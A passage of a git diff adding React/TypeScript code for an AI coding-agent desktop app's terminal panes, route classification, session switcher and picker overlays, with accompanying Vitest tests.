+      shellNameRef.current = 'shell'
+      selectionRef.current = ''
+      selectionLabelRef.current = ''
+    }
+    // `id` is stable for the instance's life (keyed by tab id), so listing it
+    // doesn't re-create the shell — it just satisfies the deps check for the
+    // closeTerminal(id) call in onExit.
+  }, [addSelectionToChat, cwd, id, latestFontFamilyRef, mountedRef])
+
+  useEffect(() => {
+    const term = termRef.current
+
+    if (!term) {
+      return
+    }
+
+    // Re-resolve the surface in a rAF: ThemeProvider's applyTheme repaints the
+    // CSS vars in a sibling effect that runs after this one, so reading now
+    // would lag a mode behind. By the next frame the vars are current.
+    const raf = requestAnimationFrame(() => {
+      term.options.theme = withSurface(activeTheme)
+      // The WebGL renderer caches glyph colors in a texture atlas, so a
+      // light/dark switch leaves already-drawn cells stale until the atlas is
+      // cleared. No-op for the DOM fallback.
+      webglRef.current?.clearTextureAtlas()
+    })
+
+    return () => cancelAnimationFrame(raf)
+  }, [activeTheme, themeName])
+
+  // Expose this terminal's buffer to the agent's `read_terminal` tool, keyed by
+  // id. The tab selection (setActiveTerminalId) decides which one it reads, so
+  // every live terminal stays registered regardless of visibility.
+  useEffect(() => {
+    if (status !== 'open') {
+      return
+    }
+
+    const term = termRef.current
+
+    return term ? registerTerminalReader(id, makeTerminalReader(term)) : undefined
+  }, [id, status])
+
+  // Only the active terminal observes its host. Every terminal stays mounted
+  // (PTY + scrollback preserved), but hidden tabs do no FitAddon/layout work.
+  // Re-activation owns one fit + atlas rebuild + redraw.
+  // eslint-disable-next-line no-restricted-syntax -- lifecycle flag prevents a duplicate first-mount fit
+  useEffect(() => {
+    if (!active || status !== 'open') {
+      if (!active) {
+        initialActiveFitRef.current = false
+      }
+
+      return
+    }
+
+    const host = hostRef.current
+
+    if (!host) {
+      return
+    }
+
+    const fitOnActivate = !initialActiveFitRef.current
+    initialActiveFitRef.current = false
+
+    return observeActiveTerminalResize(host, {
+      fitOnActivate,
+      onFit: () => fitRef.current?.(true),
+      onActivate: () => {
+        const term = termRef.current
+
+        webglRef.current?.clearTextureAtlas()
+        term?.refresh(0, term.rows - 1)
+        term?.focus()
+      }
+    })
+  }, [active, status])
+
+  // Flush a queued command (e.g. a provider-disconnect) into the live session.
+  // Only the active tab runs it (so a broadcast doesn't fan out to every shell);
+  // the subscribe fires immediately, so a command set before this pane mounted
+  // runs as soon as the session is ready. Cleared after writing so a later
+  // remount can't replay a stale command.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!active || status !== 'open') {
+      return
+    }
+
+    return $terminalInjection.subscribe(command => {
+      const sessionId = sessionIdRef.current
+
+      if (!command || !sessionId) {
+        return
+      }
+
+      hasSessionActivityRef.current = true
+      void window.clawcodexDesktop?.terminal?.write(sessionId, `${command}\r`)
+      $terminalInjection.set(null)
+      termRef.current?.focus()
+    })
+  }, [active, status])
+
+  return {
+    addSelectionToChat,
+    hostRef,
+    selection,
+    selectionStyle,
+    shellName,
+    status
+  }
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/workspace.tsx b/ui-desktop/src/app/right-sidebar/terminal/workspace.tsx
new file mode 100644
index 000000000..a15899c81
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/workspace.tsx
@@ -0,0 +1,66 @@
+import { useStore } from '@nanostores/react'
+import { useEffect } from 'react'
+
+import { $backgroundStatusBySession } from '@/store/composer-status'
+
+import { seedAgentTerminalCommand, syncAgentTerminalSnapshot } from './agent-terminal-stream'
+import { setActiveTerminalId } from './buffer'
+import { AgentTerminalInstance, TerminalInstance } from './instance'
+import { $activeTerminalId, $terminals, ensureAgentTerminal } from './terminals'
+
+interface TerminalWorkspaceProps {
+  onAddSelectionToChat: (text: string, label?: string) => void
+}
+
+/** The persistent-overlay layer: the stack of live xterm instances (only these
+ *  must stay in the fixed overlay, for the WebGL host). Mount/visibility is owned
+ *  by PersistentTerminal (latched so shells survive hiding); the tab rail and
+ *  new-terminal control live in the pane DOM — see TerminalPaneChrome. */
+export function TerminalWorkspace({ onAddSelectionToChat }: TerminalWorkspaceProps) {
+  const terminals = useStore($terminals)
+  const activeId = useStore($activeTerminalId)
+  const background = useStore($backgroundStatusBySession)
+
+  // Mirror the tab selection into the agent reader (read_terminal reads it).
+  useEffect(() => {
+    const unsubscribe = $activeTerminalId.subscribe(setActiveTerminalId)
+
+    return () => {
+      unsubscribe()
+      setActiveTerminalId(null)
+    }
+  }, [])
+
+  // Surface the agent's background processes as read-only tabs (once each).
+  // Live chunks stream via agent.terminal.output; the process-list snapshot also
+  // seeds/falls back so the tab never stays blank if the stream races startup.
+  useEffect(() => {
+    for (const list of Object.values(background)) {
+      for (const item of list) {
+        ensureAgentTerminal(item.id, item.title)
+        seedAgentTerminalCommand(item.id, item.title)
+        syncAgentTerminalSnapshot(item.id, item.output ?? '')
+      }
+    }
+  }, [background])
+
+  return (
+    <>
+      {terminals.map(term =>
+        term.kind === 'agent' ? (
+          <AgentTerminalInstance active={term.id === activeId} id={term.id} key={term.id} procId={term.procId!} />
+        ) : (
+          <TerminalInstance
+            active={term.id === activeId}
+            cwd={term.cwd}
+            id={term.id}
+            key={term.id}
+            onAddSelectionToChat={onAddSelectionToChat}
+            restoreCwd={term.restoreCwd}
+            reviveBuffer={term.reviveBuffer}
+          />
+        )
+      )}
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/routes.test.ts b/ui-desktop/src/app/routes.test.ts
new file mode 100644
index 000000000..3c8933d93
--- /dev/null
+++ b/ui-desktop/src/app/routes.test.ts
@@ -0,0 +1,30 @@
+import { describe, expect, it } from 'vitest'
+
+import { NEW_CHAT_ROUTE, primaryRouteSelectedSessionId, sessionRoute, SETTINGS_ROUTE } from './routes'
+
+const SESS_A = 'sess-a'
+const SESS_B = 'sess-b'
+
+describe('primaryRouteSelectedSessionId', () => {
+  it('prefers the routed session id over a stale/different store selection (#59305)', () => {
+    // The route already committed to B while the store selection hasn't
+    // caught up yet (still reads A) — the route wins.
+    expect(primaryRouteSelectedSessionId(sessionRoute(SESS_B), SESS_A)).toBe(SESS_B)
+  })
+
+  it('returns null on the new-chat route even with a leftover selection from the previous chat', () => {
+    expect(primaryRouteSelectedSessionId(NEW_CHAT_ROUTE, SESS_A)).toBeNull()
+  })
+
+  it('falls back to the store selection on a non-chat route (settings, overlays)', () => {
+    expect(primaryRouteSelectedSessionId(SETTINGS_ROUTE, SESS_A)).toBe(SESS_A)
+  })
+
+  it('falls back to the store selection when the route matches the same session', () => {
+    expect(primaryRouteSelectedSessionId(sessionRoute(SESS_A), SESS_A)).toBe(SESS_A)
+  })
+
+  it('returns null on a non-chat route with no store selection', () => {
+    expect(primaryRouteSelectedSessionId(SETTINGS_ROUTE, null)).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/routes.ts b/ui-desktop/src/app/routes.ts
new file mode 100644
index 000000000..9ee9365c3
--- /dev/null
+++ b/ui-desktop/src/app/routes.ts
@@ -0,0 +1,263 @@
+import { atom } from 'nanostores'
+import type { ReactNode } from 'react'
+
+import { noteActiveTreeGroup, revealTreePane } from '@/components/pane-shell/tree/store'
+import { registry } from '@/contrib/registry'
+
+type NavigateLike = (to: string, options?: { replace?: boolean }) => void
+
+export const SESSION_ROUTE_PREFIX = '/'
+export const NEW_CHAT_ROUTE = '/'
+export const SETTINGS_ROUTE = '/settings'
+export const COMMAND_CENTER_ROUTE = '/command-center'
+export const SKILLS_ROUTE = '/skills'
+export const MESSAGING_ROUTE = '/messaging'
+export const WEBHOOKS_ROUTE = '/webhooks'
+export const ARTIFACTS_ROUTE = '/artifacts'
+export const CRON_ROUTE = '/cron'
+export const PROFILES_ROUTE = '/profiles'
+export const AGENTS_ROUTE = '/agents'
+export const STARMAP_ROUTE = '/starmap'
+
+export type AppView =
+  | 'agents'
+  | 'artifacts'
+  | 'chat'
+  | 'command-center'
+  | 'cron'
+  // A contributed (plugin) full page at its own route — NOT chat. Without this
+  // distinction contributed paths fell through appViewForPath's 'chat' default,
+  // so the sidebar kept a session highlighted and the titlebar kept the
+  // session-title dropdown while a plugin page was showing.
+  | 'extension'
+  | 'messaging'
+  | 'profiles'
+  | 'settings'
+  | 'skills'
+  | 'starmap'
+  | 'webhooks'
+
+export type AppRouteId =
+  | 'agents'
+  | 'artifacts'
+  | 'command-center'
+  | 'cron'
+  | 'messaging'
+  | 'new'
+  | 'profiles'
+  | 'settings'
+  | 'skills'
+  | 'starmap'
+  | 'webhooks'
+
+export interface AppRoute {
+  id: AppRouteId
+  path: string
+  view: AppView
+}
+
+export const APP_ROUTES = [
+  { id: 'new', path: NEW_CHAT_ROUTE, view: 'chat' },
+  { id: 'settings', path: SETTINGS_ROUTE, view: 'settings' },
+  { id: 'command-center', path: COMMAND_CENTER_ROUTE, view: 'command-center' },
+  { id: 'skills', path: SKILLS_ROUTE, view: 'skills' },
+  { id: 'messaging', path: MESSAGING_ROUTE, view: 'messaging' },
+  { id: 'webhooks', path: WEBHOOKS_ROUTE, view: 'webhooks' },
+  { id: 'artifacts', path: ARTIFACTS_ROUTE, view: 'artifacts' },
+  { id: 'cron', path: CRON_ROUTE, view: 'cron' },
+  { id: 'profiles', path: PROFILES_ROUTE, view: 'profiles' },
+  { id: 'agents', path: AGENTS_ROUTE, view: 'agents' },
+  { id: 'starmap', path: STARMAP_ROUTE, view: 'starmap' }
+] as const satisfies readonly AppRoute[]
+
+const APP_VIEW_BY_PATH = new Map<string, AppView>(APP_ROUTES.map(route => [route.path, route.view]))
+const RESERVED_PATHS: ReadonlySet<string> = new Set(APP_ROUTES.map(route => route.path))
+
+// ── Contributed routes — the `routes` registry area ─────────────────────────
+// A contribution mounts a FULL PAGE in the workspace pane at `data.path`
+// (`render` on the contribution itself, like every other area). Contributed
+// paths are reserved exactly like APP_ROUTES so the session-id parser never
+// mistakes them for a session route. Navigate with `host.navigate(path)`.
+
+export const ROUTES_AREA = 'routes'
+
+/** Payload of a `routes` contribution's `data`. */
+export interface RouteContribution {
+  /** Absolute path, e.g. `/kanban`. One segment; no params. */
+  path: string
+}
+
+export function contributedRoutes(): Array<{ key: string; path: string; title?: string; render: () => ReactNode }> {
+  return registry
+    .getArea(ROUTES_AREA)
+    .map(c => ({
+      key: `${c.source ?? 'core'}:${c.id}`,
+      path: (c.data as RouteContribution | undefined)?.path ?? '',
+      title: c.title,
+      render: c.render!
+    }))
+    .filter(route => Boolean(route.path.startsWith('/') && route.render) && !RESERVED_PATHS.has(route.path))
+}
+
+function isContributedPath(pathname: string): boolean {
+  return contributedRoutes().some(route => route.path === pathname)
+}
+
+// ── Contributed sidebar nav — the `sidebar.nav` registry area ────────────────
+// A DATA contribution adds a row to the sidebar's top nav (below Artifacts).
+// Pair with a ROUTES_AREA page: the row navigates to `path` and lights up
+// while the app is there.
+
+export const SIDEBAR_NAV_AREA = 'sidebar.nav'
+
+/** Payload of a `sidebar.nav` data contribution. */
+export interface SidebarNavContribution {
+  /** Codicon name, e.g. `'project'`. */
+  codicon: string
+  label: string
+  /** Route to navigate to (usually a contributed page's path). */
+  path: string
+}
+
+// Views that render as a full-screen modal card (OverlayView) over the shell.
+// While one is open the app's titlebar control clusters must hide so they don't
+// bleed over the overlay (they sit at a higher z-index than the overlay card).
+export const OVERLAY_VIEWS: ReadonlySet<AppView> = new Set([
+  'agents',
+  'command-center',
+  'cron',
+  'profiles',
+  'settings',
+  'starmap',
+  'webhooks'
+])
+
+export function isOverlayView(view: AppView): boolean {
+  return OVERLAY_VIEWS.has(view)
+}
+
+/** The pathname of a router target. Every classifier below reasons about a
+ *  PATH, but callers navigate to full targets (`/skills?tab=mcp`), and an
+ *  unstripped query reaches the session-id parser — `/skills?tab=mcp` reads as
+ *  the session `skills?tab=mcp`, so Capabilities classifies as a chat.
+ *  `sessionRoute` percent-encodes ids, so `?`/`#` can only start a query or a
+ *  hash. */
+export function routePathname(to: string): string {
+  const cut = to.search(/[?#]/)
+
+  return cut === -1 ? to : to.slice(0, cut)
+}
+
+export function isNewChatRoute(pathname: string): boolean {
+  return routePathname(pathname) === NEW_CHAT_ROUTE
+}
+
+export function routeSessionId(pathname: string): string | null {
+  const path = routePathname(pathname)
+
+  if (!path.startsWith(SESSION_ROUTE_PREFIX) || RESERVED_PATHS.has(path) || isContributedPath(path)) {
+    return null
+  }
+
+  const id = path.slice(SESSION_ROUTE_PREFIX.length)
+
+  return id && !id.includes('/') ? decodeURIComponent(id) : null
+}
+
+/**
+ * The primary composer's durable scope key candidate: the route is the source
+ * of truth for which chat is on screen, so prefer its (stable) stored session
+ * id over a store selection that can be momentarily null/stale mid-switch
+ * (#59305). A genuine new-chat route always wins with `null`, never falling
+ * back to a leftover selection from the chat just left. A non-chat route
+ * (settings, an overlay) has no session opinion, so the store selection passes
+ * through unchanged.
+ */
+export function primaryRouteSelectedSessionId(pathname: string, storeSelectedSessionId: string | null): string | null {
+  if (isNewChatRoute(pathname)) {
+    return null
+  }
+
+  return routeSessionId(pathname) ?? storeSelectedSessionId
+}
+
+export function sessionRoute(sessionId: string): string {
+  return `${SESSION_ROUTE_PREFIX}${encodeURIComponent(sessionId)}`
+}
+
+export function appViewForPath(pathname: string): AppView {
+  const path = routePathname(pathname)
+
+  if (isNewChatRoute(path) || routeSessionId(path)) {
+    return 'chat'
+  }
+
+  if (isContributedPath(path)) {
+    return 'extension'
+  }
+
+  return APP_VIEW_BY_PATH.get(path) ?? 'chat'
+}
+
+/** Does `to` land on a full page rendered INSIDE the workspace pane
+ *  (skills/messaging/artifacts/contributed routes)? Overlays don't count —
+ *  they float over whatever the workspace is already showing. */
+function isWorkspacePageRoute(to: string): boolean {
+  const view = appViewForPath(to)
+
+  return view !== 'chat' && !isOverlayView(view)
+}
+
+/** True while the workspace pane shows a FULL PAGE (skills/messaging/
+ *  artifacts/plugin routes) instead of the chat. Published by the wiring
+ *  (which owns the router location); the workspace pane contribution mirrors
+ *  it as `headerVeto` so the zone tab bar stands down on pages. Overlays
+ *  (settings/…) don't count — the chat stays beneath them. */
+export const $workspaceIsPage = atom(false)
+
+function revealWorkspacePane(): void {
+  noteActiveTreeGroup(null)
+  revealTreePane('workspace')
+}
+
+/**
+ * Point the workspace at `pathname`: mirror "showing a full page" into
+ * `$workspaceIsPage`, and FRONT the pane when it is one.
+ *
+ * A page renders inside `workspace`, so a main zone parked on a session tile
+ * keeps the tile on screen while the route and the page content change behind
+ * it — the navigation looks dead (#72602). Session switches already front the
+ * pane in `store/session-states.ts`; pages had no equivalent.
+ *
+ * The router location drives this, so every entry point gets it without opting
+ * in: sidebar, keybinds, command palette, Command Center, contributed
+ * statusbar/titlebar `to` targets, back/forward, and cold-start restore.
+ */
+export function syncWorkspaceRoute(pathname: string): void {
+  const isPage = isWorkspacePageRoute(pathname)
+
+  if (isPage !== $workspaceIsPage.get()) {
+    $workspaceIsPage.set(isPage)
+  }
+
+  if (isPage) {
+    revealWorkspacePane()
+  }
+}
+
+/**
+ * Navigate to `to`, fronting the workspace pane when it is a page route.
+ *
+ * `syncWorkspaceRoute` covers route CHANGES; this covers the RE-CLICK, the one
+ * case it can't see — hitting Capabilities while already on `/skills` with a
+ * tile focused leaves the location untouched, so no effect fires and only an
+ * imperative reveal brings the page back. Use it wherever a nav affordance can
+ * be triggered from the page it targets.
+ */
+export function navigateToWorkspacePage(navigate: NavigateLike, to: string, options?: { replace?: boolean }): void {
+  navigate(to, options)
+
+  if (isWorkspacePageRoute(to)) {
+    revealWorkspacePane()
+  }
+}
diff --git a/ui-desktop/src/app/routes.workspace-reveal.test.ts b/ui-desktop/src/app/routes.workspace-reveal.test.ts
new file mode 100644
index 000000000..7db75e610
--- /dev/null
+++ b/ui-desktop/src/app/routes.workspace-reveal.test.ts
@@ -0,0 +1,189 @@
+/**
+ * A full page (Capabilities/Messaging/Artifacts/a contributed route) renders
+ * INSIDE the `workspace` pane, so navigating to one has to front that pane —
+ * otherwise a main zone parked on a session tile keeps the tile on screen and
+ * the click looks dead until the app restarts (#72602).
+ *
+ * Two layers, both covered here: `syncWorkspaceRoute` (the router location,
+ * every entry point) and `navigateToWorkspacePage` (the re-click, where the
+ * location doesn't change).
+ */
+
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { registry } from '@/contrib/registry'
+
+import {
+  $workspaceIsPage,
+  AGENTS_ROUTE,
+  appViewForPath,
+  ARTIFACTS_ROUTE,
+  CRON_ROUTE,
+  MESSAGING_ROUTE,
+  navigateToWorkspacePage,
+  NEW_CHAT_ROUTE,
+  routePathname,
+  ROUTES_AREA,
+  routeSessionId,
+  sessionRoute,
+  SETTINGS_ROUTE,
+  SKILLS_ROUTE,
+  syncWorkspaceRoute
+} from './routes'
+
+vi.mock('@/components/pane-shell/tree/store', async importOriginal => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  noteActiveTreeGroup: vi.fn(),
+  revealTreePane: vi.fn()
+}))
+
+const { noteActiveTreeGroup, revealTreePane } = await import('@/components/pane-shell/tree/store')
+
+const CONTRIBUTED_ROUTE = '/kanban'
+
+function contributeRoute(): () => void {
+  return registry.register({
+    area: ROUTES_AREA,
+    data: { path: CONTRIBUTED_ROUTE },
+    id: 'test-route',
+    render: () => null
+  })
+}
+
+/** Did the workspace pane get fronted? Both calls, or the tab stays put. */
+const fronted = () =>
+  vi.mocked(revealTreePane).mock.calls.some(([pane]) => pane === 'workspace') &&
+  vi.mocked(noteActiveTreeGroup).mock.calls.some(([group]) => group === null)
+
+beforeEach(() => {
+  vi.mocked(revealTreePane).mockClear()
+  vi.mocked(noteActiveTreeGroup).mockClear()
+  $workspaceIsPage.set(false)
+})
+
+afterEach(() => {
+  $workspaceIsPage.set(false)
+})
+
+describe('routePathname', () => {
+  it('keeps a bare path and drops a query or hash', () => {
+    expect(routePathname(SKILLS_ROUTE)).toBe('/skills')
+    expect(routePathname('/skills?tab=mcp')).toBe('/skills')
+    expect(routePathname('/skills?tab=mcp&server=ctx7')).toBe('/skills')
+    expect(routePathname('/settings#keys')).toBe('/settings')
+  })
+
+  it('leaves an encoded session id alone', () => {
+    const route = sessionRoute('a?b#c')
+
+    expect(routePathname(route)).toBe(route)
+    expect(routeSessionId(route)).toBe('a?b#c')
+  })
+})
+
+describe('classification of targets carrying a query', () => {
+  // The palette navigates to every one of these (Capabilities tabs, MCP
+  // servers), and Settings redirects old /settings?tab=mcp deep links to the
+  // last one. Unstripped, they parsed as SESSION ids and read as 'chat'.
+  it.each([
+    [`${SKILLS_ROUTE}?tab=skills`, 'skills'],
+    [`${SKILLS_ROUTE}?tab=toolsets`, 'skills'],
+    [`${SKILLS_ROUTE}?tab=mcp&server=ctx7`, 'skills'],
+    [`${SETTINGS_ROUTE}?tab=keys`, 'settings']
+  ])('%s is not a session route', (to, view) => {
+    expect(routeSessionId(to)).toBeNull()
+    expect(appViewForPath(to)).toBe(view)
+  })
+})
+
+describe('syncWorkspaceRoute', () => {
+  it('publishes and fronts on a page route', () => {
+    syncWorkspaceRoute(SKILLS_ROUTE)
+
+    expect($workspaceIsPage.get()).toBe(true)
+    expect(fronted()).toBe(true)
+  })
+
+  it('fronts on a page route reached with a query', () => {
+    syncWorkspaceRoute(`${SKILLS_ROUTE}?tab=mcp`)
+
+    expect($workspaceIsPage.get()).toBe(true)
+    expect(fronted()).toBe(true)
+  })
+
+  it('fronts when moving between two pages — the atom never changes, the tab must', () => {
+    syncWorkspaceRoute(ARTIFACTS_ROUTE)
+    vi.mocked(revealTreePane).mockClear()
+    vi.mocked(noteActiveTreeGroup).mockClear()
+
+    syncWorkspaceRoute(MESSAGING_ROUTE)
+
+    expect($workspaceIsPage.get()).toBe(true)
+    expect(fronted()).toBe(true)
+  })
+
+  it('fronts on a contributed page route', () => {
+    const dispose = contributeRoute()
+
+    try {
+      syncWorkspaceRoute(CONTRIBUTED_ROUTE)
+
+      expect(appViewForPath(CONTRIBUTED_ROUTE)).toBe('extension')
+      expect(fronted()).toBe(true)
+    } finally {
+      dispose()
+    }
+  })
+
+  it.each([
+    ['a session route', sessionRoute('sess-a')],
+    ['the new-chat route', NEW_CHAT_ROUTE],
+    ['an overlay', SETTINGS_ROUTE],
+    ['an overlay with a query', `${SETTINGS_ROUTE}?tab=keys`],
+    ['another overlay', CRON_ROUTE],
+    ['yet another overlay', AGENTS_ROUTE]
+  ])('leaves the tab alone on %s', (_label, to) => {
+    syncWorkspaceRoute(to)
+
+    expect($workspaceIsPage.get()).toBe(false)
+    expect(revealTreePane).not.toHaveBeenCalled()
+  })
+})
+
+describe('navigateToWorkspacePage', () => {
+  it('navigates and fronts, so a re-click on the page you are already on still shows it', () => {
+    const navigate = vi.fn()
+
+    navigateToWorkspacePage(navigate, SKILLS_ROUTE)
+
+    expect(navigate).toHaveBeenCalledWith(SKILLS_ROUTE, undefined)
+    expect(fronted()).toBe(true)
+  })
+
+  it.each([`${SKILLS_ROUTE}?tab=skills`, `${SKILLS_ROUTE}?tab=toolsets`, `${SKILLS_ROUTE}?tab=mcp&server=ctx7`])(
+    'fronts for the palette target %s',
+    to => {
+      navigateToWorkspacePage(vi.fn(), to)
+
+      expect(fronted()).toBe(true)
+    }
+  )
+
+  it('passes navigation options through', () => {
+    const navigate = vi.fn()
+
+    navigateToWorkspacePage(navigate, ARTIFACTS_ROUTE, { replace: true })
+
+    expect(navigate).toHaveBeenCalledWith(ARTIFACTS_ROUTE, { replace: true })
+  })
+
+  it('navigates without fronting for chat and overlay targets', () => {
+    const navigate = vi.fn()
+
+    navigateToWorkspacePage(navigate, sessionRoute('sess-a'))
+    navigateToWorkspacePage(navigate, SETTINGS_ROUTE)
+
+    expect(navigate).toHaveBeenCalledTimes(2)
+    expect(revealTreePane).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/session-picker-overlay.tsx b/ui-desktop/src/app/session-picker-overlay.tsx
new file mode 100644
index 000000000..65344fcac
--- /dev/null
+++ b/ui-desktop/src/app/session-picker-overlay.tsx
@@ -0,0 +1,32 @@
+import { useStore } from '@nanostores/react'
+
+import { SessionPickerDialog } from '@/components/session-picker'
+import { $gatewayState, $selectedStoredSessionId, $sessionPickerOpen, setSessionPickerOpen } from '@/store/session'
+
+interface SessionPickerOverlayProps {
+  onResume: (storedSessionId: string) => void
+}
+
+/**
+ * Mounts the session picker that `/resume` (and `/sessions`, `/switch`) opens —
+ * the desktop equivalent of the TUI's sessions overlay. Resuming runs through
+ * the same `resumeSession` path the sidebar uses.
+ */
+export function SessionPickerOverlay({ onResume }: SessionPickerOverlayProps) {
+  const open = useStore($sessionPickerOpen)
+  const gatewayOpen = useStore($gatewayState) === 'open'
+  const activeStoredSessionId = useStore($selectedStoredSessionId)
+
+  if (!gatewayOpen) {
+    return null
+  }
+
+  return (
+    <SessionPickerDialog
+      activeStoredSessionId={activeStoredSessionId}
+      onOpenChange={setSessionPickerOpen}
+      onResume={onResume}
+      open={open}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/session-switcher.tsx b/ui-desktop/src/app/session-switcher.tsx
new file mode 100644
index 000000000..fc2b88ec6
--- /dev/null
+++ b/ui-desktop/src/app/session-switcher.tsx
@@ -0,0 +1,120 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef } from 'react'
+import { createPortal } from 'react-dom'
+import { useNavigate } from 'react-router'
+
+import { sessionTitle } from '@/lib/chat-runtime'
+import { cn } from '@/lib/utils'
+import { $unreadFinishedSessionIds } from '@/store/session'
+import { $attentionSessionIds, $workingSessionIds } from '@/store/session-states'
+import { $switcherIndex, $switcherOpen, $switcherSessions, closeSwitcher } from '@/store/session-switcher'
+
+import { HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from './floating-hud'
+import { openSession } from './open-session'
+
+// Compact session-switcher HUD — keyboard-driven from `use-keybinds`, rows
+// clickable via mousedown (Ctrl+click on macOS). No Dialog: Tab stays global.
+export function SessionSwitcher() {
+  const open = useStore($switcherOpen)
+  const sessions = useStore($switcherSessions)
+  const index = useStore($switcherIndex)
+  const working = useStore($workingSessionIds)
+  const attention = useStore($attentionSessionIds)
+  const unread = useStore($unreadFinishedSessionIds)
+  const navigate = useNavigate()
+
+  const activeRef = useRef<HTMLDivElement>(null)
+
+  useEffect(() => {
+    activeRef.current?.scrollIntoView({ block: 'nearest' })
+  }, [index, open])
+
+  if (!open || sessions.length === 0) {
+    return null
+  }
+
+  const workingIds = new Set(working)
+  const attentionIds = new Set(attention)
+  const unreadIds = new Set(unread)
+
+  const pick = (sessionId: string) => {
+    closeSwitcher()
+    openSession(sessionId, navigate)
+  }
+
+  return createPortal(
+    <>
+      {/* Transparent click-catcher: click-away closes, but no dim/blur. */}
+      <div
+        className="fixed inset-0 z-(--z-switcher-backdrop)"
+        onMouseDown={e => {
+          e.preventDefault()
+          closeSwitcher()
+        }}
+      />
+      <div
+        className={cn(
+          HUD_POSITION,
+          HUD_SURFACE,
+          'dt-portal-scrollbar z-(--z-switcher) max-h-[min(22rem,64vh)] w-[min(19rem,calc(100vw-2rem))] select-none overflow-y-auto p-1'
+        )}
+      >
+        {sessions.map((session, i) => {
+          const selected = i === index
+
+          return (
+            <div
+              className={cn(
+                'row-hover flex items-center rounded leading-tight',
+                HUD_ITEM,
+                HUD_TEXT,
+                selected ? 'bg-accent text-accent-foreground' : 'text-(--ui-text-secondary)'
+              )}
+              key={session.id}
+              onMouseDown={e => {
+                e.preventDefault()
+                pick(session.id)
+              }}
+              ref={selected ? activeRef : undefined}
+            >
+              <SwitcherDot
+                attention={attentionIds.has(session.id)}
+                unread={unreadIds.has(session.id)}
+                working={workingIds.has(session.id)}
+              />
+              <span className="min-w-0 flex-1 truncate">{sessionTitle(session)}</span>
+              {i < 9 && (
+                <span
+                  className={cn(
+                    'shrink-0 font-mono text-[0.625rem] tabular-nums',
+                    selected ? 'text-accent-foreground/70' : 'text-(--ui-text-quaternary)'
+                  )}
+                >
+                  ⌃{i + 1}
+                </span>
+              )}
+            </div>
+          )
+        })}
+      </div>
+    </>,
+    document.body
+  )
+}
+
+function SwitcherDot({ attention, working, unread }: { attention: boolean; working: boolean; unread: boolean }) {
+  return (
+    <span
+      className={cn(
+        'size-1 shrink-0 rounded-full',
+        attention
+          ? 'bg-amber-400'
+          : working
+            ? 'animate-pulse bg-(--ui-accent)'
+            : unread
+              ? 'bg-emerald-500'
+              : 'bg-(--ui-text-quaternary)/50'
+      )}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/session/hooks/preview-open.test.tsx b/ui-desktop/src/app/session/hooks/preview-open.test.tsx
new file mode 100644
index 000000000..8fa21a140
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/preview-open.test.tsx
@@ -0,0 +1,202 @@
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { assistantTextPart, type ChatMessage } from '@/lib/chat-messages'
+import { $previewTabs, $previewTarget, closeRightRail, type PreviewTarget } from '@/store/preview'
+import { $activeSessionId, $currentCwd, $messages, $selectedStoredSessionId } from '@/store/session'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { usePreviewRouting } from './use-preview-routing'
+
+const RUNTIME_SESSION_ID = '20260727_140707_edec2d'
+
+function assistantMessage(id: string, text: string): ChatMessage {
+  return { id, parts: [assistantTextPart(text)], role: 'assistant' }
+}
+
+function fileTarget(path: string): PreviewTarget {
+  return { kind: 'file', label: path, path, previewKind: 'html', source: path, url: `file://${path}` }
+}
+
+let handleEvent: (event: RpcEvent) => void = () => undefined
+
+function Harness() {
+  const routing = usePreviewRouting({
+    baseHandleGatewayEvent: vi.fn(),
+    currentCwd: '/work',
+    requestGateway: vi.fn()
+  })
+
+  useEffect(() => {
+    handleEvent = routing.handleDesktopGatewayEvent
+  }, [routing.handleDesktopGatewayEvent])
+
+  return null
+}
+
+async function emitPreviewOpen(url = '/tmp/artifact-test.html') {
+  await act(async () => {
+    handleEvent({
+      payload: { label: 'hi bestie', url },
+      session_id: RUNTIME_SESSION_ID,
+      type: 'preview.open'
+    } as unknown as RpcEvent)
+  })
+}
+
+describe('open_preview', () => {
+  beforeEach(() => {
+    // A live session always has a runtime id; only the STORED id lags.
+    $activeSessionId.set(RUNTIME_SESSION_ID)
+    $currentCwd.set('/work')
+    $messages.set([])
+    closeRightRail()
+    window.localStorage.clear()
+
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { normalizePreviewTarget: vi.fn(async (target: string) => fileTarget(target)) }
+    })
+  })
+
+  afterEach(() => {
+    cleanup()
+    $messages.set([])
+    closeRightRail()
+    $activeSessionId.set(null)
+    $selectedStoredSessionId.set(null)
+    window.localStorage.clear()
+    vi.restoreAllMocks()
+  })
+
+  // The rail used to hold a session-keyed singleton alongside its tabs, written
+  // under one session-id rule and reconciled under another. A live session with
+  // no stored id yet resolved to '' on the write side, so the target was set and
+  // then immediately reconciled back to null — the pane flashed and vanished.
+  it('opens a tab for a session that has no stored id yet', async () => {
+    $selectedStoredSessionId.set(null)
+    render(<Harness />)
+
+    await emitPreviewOpen()
+
+    await waitFor(() => expect($previewTarget.get()?.path).toBe('/tmp/artifact-test.html'))
+    expect($previewTabs.get()).toHaveLength(1)
+  })
+
+  it('keeps the tab when the stored session id arrives afterwards', async () => {
+    $selectedStoredSessionId.set(null)
+    render(<Harness />)
+
+    await emitPreviewOpen()
+    await waitFor(() => expect($previewTarget.get()?.path).toBe('/tmp/artifact-test.html'))
+
+    await act(async () => {
+      $selectedStoredSessionId.set('stored-1')
+    })
+
+    expect($previewTarget.get()?.path).toBe('/tmp/artifact-test.html')
+  })
+
+  it('ignores an open from a session that is not the one on screen', async () => {
+    render(<Harness />)
+
